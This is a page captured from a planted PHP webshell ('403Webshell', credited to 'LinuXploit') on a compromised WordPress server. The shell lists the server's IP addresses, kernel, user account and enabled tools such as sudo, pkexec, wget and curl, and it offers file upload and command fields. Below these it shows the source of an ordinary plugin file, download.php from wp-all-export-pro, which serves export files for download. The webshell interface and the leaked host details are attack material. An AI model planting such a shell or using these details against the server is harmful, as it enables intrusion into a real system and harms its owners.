403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.217.39
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/home2/mommybites/wp-content/plugins/wp-all-export-pro/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/home2/mommybites/wp-content/plugins/wp-all-export-pro/classes/download.php
<?php

class PMXE_Download
{

	static public function zip($file_name)
	{
		$uploads    = wp_upload_dir();
		$bundle_url = $uploads['baseurl'] . str_replace($uploads['basedir'], '', $file_name);
        $bundle_url = str_replace( "\\", "/", $bundle_url );
		wp_redirect($bundle_url);
		die;
	}

	static public function xls($file_name)
	{
		self::sendFile("Content-Type: application/vnd.ms-excel; charset=UTF-8", $file_name);
	}

    static public function xlsx($file_name)
    {
        self::sendFile("Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet; charset=UTF-8", $file_name);
    }

	static public function csv($file_name)
	{
       self::sendFile("Content-Type: text/plain; charset=UTF-8", $file_name);
	}

	static public function txt($file_name)
	{
	    self::sendFile("Content-Type: text/plain; charset=UTF-8", $file_name);
	}

	static public function xml($file_name)
	{
        self::sendFile("Content-Type: application/xhtml+xml; charset=UTF-8", $file_name);
	}

	static public function sendFile($header, $file_name)
    {
        // If we ar testing don't sent it as attachment
        if (php_sapi_name() != 'cli-server') {
            header($header);
            header("Content-Disposition: attachment; filename=\"" . basename($file_name) . "\"");
            header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
            header("Cache-Control: post-check=0, pre-check=0", false);
            header("Pragma: no-cache");
        }
        while (ob_get_level()) {
            ob_end_clean();
        }

        readfile($file_name);
        die;
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit